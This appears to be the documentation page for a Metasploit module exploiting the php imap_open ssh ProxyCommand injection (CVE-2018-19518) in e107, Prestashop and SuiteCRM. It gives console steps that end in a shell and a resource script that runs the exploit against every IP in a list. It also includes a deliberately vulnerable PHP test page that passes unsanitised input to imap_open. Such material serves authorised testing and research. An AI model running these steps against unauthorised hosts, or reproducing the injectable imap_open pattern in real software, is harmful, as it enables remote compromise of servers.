Module Overview

Name: php imap_open Remote Code Execution
Module: exploit/linux/http/php_imap_open_rce
Source code: modules/exploits/linux/http/php_imap_open_rce.rb
Disclosure date: 2018-10-23
Last modification time: 2021-11-22 14:11:03 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-19518, CVE-2018-1000859

The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, this exploit works against the following applications: e107 v2, prestashop, SuiteCRM, as well as Custom, which simply prints the exploit strings for use. Prestashop exploitation requires the admin URI, and administrator credentials. suiteCRM/e107 require administrator credentials. Fixed in php 5.6.39.

Module Ranking and Traits

Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

Using php_imap_open_rce against a single host

Normally, you can use exploit/linux/http/php_imap_open_rce this way:

msf > use exploit/linux/http/php_imap_open_rce
msf exploit(php_imap_open_rce) > show targets
    ... a list of targets ...
msf exploit(php_imap_open_rce) > set TARGET target-id
msf exploit(php_imap_open_rce) > show options
    ... show and set options ...
msf exploit(php_imap_open_rce) > exploit

Using php_imap_open_rce against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your php_imap_open_rce will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/http/php_imap_open_rce")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)

Knowledge Base

Vulnerable Application

The imap_open function within php, if called without the /norsh flag, will attempt to preauthenticate an IMAP session. On Debian based systems, including Ubuntu, rsh is mapped to the ssh binary. Ssh's ProxyCommand option can be passed from imap_open to execute arbitrary commands. While many custom applications may use imap_open, it is reported that the following applications are vulnerable:

Prestashop exploitation requires the admin URI, and administrator credentials.

SuiteCRM exploitation requires administrator credentials.

e107 v2 exploitation requires administrator credentials.

Horde IMP H3 requires the IMP test page to be present (default), but no credentials are required.

Additional applications were reported vulnerable, but exploits were not written. See #10987 for additional details.

imap_open Exploitable Page

    
There are two ways to exploit this page:

    
    
      
  1. GET: Use URL parameter 'server'.  Ex http://1.1.1.1/imap.php?server=EXPLOITHERE
    2. 
      
  2. POST:  Using parameter 'server' or the form below.
    3. 
    

    <form method="post">
      Server: <input type="text" name="server">

      <input type="submit" value="Submit">
    </form>
  if (isset($_GET["server"]) && !empty($_GET["server"])) {
    $server = htmlspecialchars($_GET["server"]);
  } else {
    $server = $_POST["server"];
  }
  if (!isset($server) || empty($server)) {
    exit;
  }
  echo "


Results:
";
  $mbox = @imap_open("{".$server.":143}INBOX",'username','password');
  echo '
Received: '.$server.'
';

  $errors = imap_errors();
  if (is_array($errors)) {
    $errors = array_unique($errors);
  }
  if (count($errors) && is_array($errors)) {
    $str_errors = '';
    foreach ($errors as $error) {
      $str_errors .= $error . ', ';
    }
    $str_errors = rtrim(trim($str_errors), ',');
  }
  if (!$mbox) {
    echo '
Errors: ' . ($str_errors);
  }

Verification Steps

  1. Install a vulnerable application
  2. Start msfconsole
  3. Do: use exploit/linux/http/php_imap_open_rce
  4. Do: set TARGETURI [URI]
  5. Do: set USERNAME [username]
  6. Do: set PASSWORD [password]
  7. Do: set target [target]
  8. Do: run
  9. You should get a shell.

Options

TARGETURI

The URI for the target. This may change by target. Default is . Prestashop should be the admin URI, similar to /admin2769gx8k3.

Payload information:

Description:
  The imap_open function within php, if called without the /norsh 
  flag, will attempt to preauthenticate an IMAP session. On Debian 
  based systems, including Ubuntu, rsh is mapped to the ssh binary. 
  Ssh's ProxyCommand option can be passed from imap_open to execute 
  arbitrary commands. While many custom applications may use 
  imap_open, this exploit works against the following applications: 
  e107 v2, prestashop, SuiteCRM, as well as Custom, which simply 
  prints the exploit strings for use. Prestashop exploitation requires 
  the admin URI, and administrator credentials. suiteCRM/e107 require 
  administrator credentials. Fixed in php 5.6.39.
